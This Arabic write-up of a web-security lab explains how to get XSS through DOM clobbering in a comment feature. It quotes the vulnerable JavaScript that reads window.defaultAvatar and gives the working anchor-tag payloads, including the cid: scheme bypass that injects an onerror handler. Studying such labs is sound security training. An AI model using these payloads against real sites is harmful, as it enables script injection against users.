> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/web/dom/dom-clobbering-xss.md).

# XSS عبر DOM Clobbering

### استغلال DOM Clobbering لتمكين XSS

استغل ثغرة DOM-clobbering. تتيح وظيفة التعليقات HTML «آمناً». الهدف هو حقن جزء HTML يكتب فوق متغير DOM (clobbering) والتسبب في سلسلة لتنفيذ XSS (`alert()`).

<figure><img src="/files/1716c45003df8da0dd28089c04f06f616e30f8db" alt=""><figcaption></figcaption></figure>

تقبل منطقة التعليقات HTML وتُعاد بعض العناصر (مثل a `<h1>` المفسِّر).

<figure><img src="/files/8926d0c118768d80018aea0c57e482eeac2be587" alt="" width="539"><figcaption></figcaption></figure>

* يقوم البرنامج النصي على جهة العميل بتحميل التعليقات المسترجعة وعرضها بصيغة JSON. وهو يستخدم `DOMPurify.sanitize()` لتنظيف `المؤلف` و `الجسم` الحقول، لكن عمليات DOM الأخرى لا تزال عرضة لـ clobbering.

```javascript
function loadComments(postCommentPath) {
    let xhr = new XMLHttpRequest();
    xhr.onreadystatechange = function() {
        if (this.readyState == 4 && this.status == 200) {
            let comments = JSON.parse(this.responseText);
            displayComments(comments);
        }
    };
    xhr.open("GET", postCommentPath + window.location.search);
    xhr.send();

    function escapeHTML(data) {
        return data.replace(/[<>'"]/g, function(c){
            return '&#' + c.charCodeAt(0) + ';';
        })
    }

    function displayComments(comments) {
        let userComments = document.getElementById("user-comments");

        for (let i = 0; i < comments.length; ++i)
        {
            comment = comments[i];
            let commentSection = document.createElement("section");
            commentSection.setAttribute("class", "comment");

            let firstPElement = document.createElement("p");

            let defaultAvatar = window.defaultAvatar || {avatar: '/resources/images/avatarDefault.svg'}
            let avatarImgHTML = '<img class="avatar" src="' + (comment.avatar ? escapeHTML(comment.avatar) : defaultAvatar.avatar) + '">';

            let divImgContainer = document.createElement("div");
            divImgContainer.innerHTML = avatarImgHTML

            if (comment.author) {
                if (comment.website) {
                    let websiteElement = document.createElement("a");
                    websiteElement.setAttribute("id", "author");
                    websiteElement.setAttribute("href", comment.website);
                    firstPElement.appendChild(websiteElement)
                }

                let newInnerHtml = firstPElement.innerHTML + DOMPurify.sanitize(comment.author)
                firstPElement.innerHTML = newInnerHtml
            }

            if (comment.date) {
                let dateObj = new Date(comment.date)
                let month = '' + (dateObj.getMonth() + 1);
                let day = '' + dateObj.getDate();
                let year = dateObj.getFullYear();

                if (month.length < 2)
                    month = '0' + month;
                if (day.length < 2)
                    day = '0' + day;

                dateStr = [day, month, year].join('-');

                let newInnerHtml = firstPElement.innerHTML + " | " + dateStr
                firstPElement.innerHTML = newInnerHtml
            }

            firstPElement.appendChild(divImgContainer);

            commentSection.appendChild(firstPElement);

            if (comment.body) {
                let commentBodyPElement = document.createElement("p");
                commentBodyPElement.innerHTML = DOMPurify.sanitize(comment.body);

                commentSection.appendChild(commentBodyPElement);
            }
            commentSection.appendChild(document.createElement("p"));

            userComments.appendChild(commentSection);
        }
    }
};
```

* ينشئ الكود `defaultAvatar` كائناً من خلال قراءة `window.defaultAvatar` إن وُجد؛ `defaultAvatar` وبالتالي يمكن الكتابة فوقه عبر عنصر DOM يحمل `defaultAvatar` معرّفًا (clobbering).
* وبما أن `src` سمة `<img>` تُبنى من `defaultAvatar.avatar` عندما `comment.avatar` غير موجود، فمن الممكن إجبار `defaultAvatar` الذي يتحكم فيه المهاجم على التأثير في القيمة المُدرجة.
* تتم عملية الإدراج بواسطة `divImgContainer.innerHTML = avatarImgHTML`، مما يؤدي إلى تفسير سلسلة HTML المُنشأة.

{% code overflow="wrap" %}

```javascript
let avatarImgHTML = '<img class="avatar" src="' + (comment.avatar ? escapeHTML(comment.avatar) : defaultAvatar.avatar) + '">';
```

{% endcode %}

حاول إجبار `defaultAvatar` عبر `<a id=defaultAvatar>` عنصر يحتوي على سمة يُرجَّح أن تتسبب في خطأ على جهة العميل (مثل `onerror=alert(0)`).

```html
<a id=defaultAvatar>
<a id=defaultAvatar name=avatar href="0&quot;onerror=alert(0)>//">
```

يتم ترميز هذا وفق URL بواسطة النظام

<figure><img src="/files/2e4fb4a95ceb316878df5388089b81b25a58f1f8" alt="" width="480"><figcaption></figcaption></figure>

<figure><img src="/files/538af87382bb1c6f7722be732454eceda7fd712a" alt=""><figcaption></figcaption></figure>

تم اختبار Contouring باستخدام `cid:` مخطط بحيث لا تُشفَّر القيمة:

```javascript
<a id=defaultAvatar>
<a id=defaultAvatar name=avatar href="cid:&quot;onerror=alert(0)>//">
```

يُفسَّر الأخير

<figure><img src="/files/b8fd64b700af6adf97d439dcf9ad36c4a364d896" alt="" width="443"><figcaption></figcaption></figure>

<figure><img src="/files/5933e0445c02e2d593f1d6096d6f5a59e79d2738" alt=""><figcaption></figcaption></figure>


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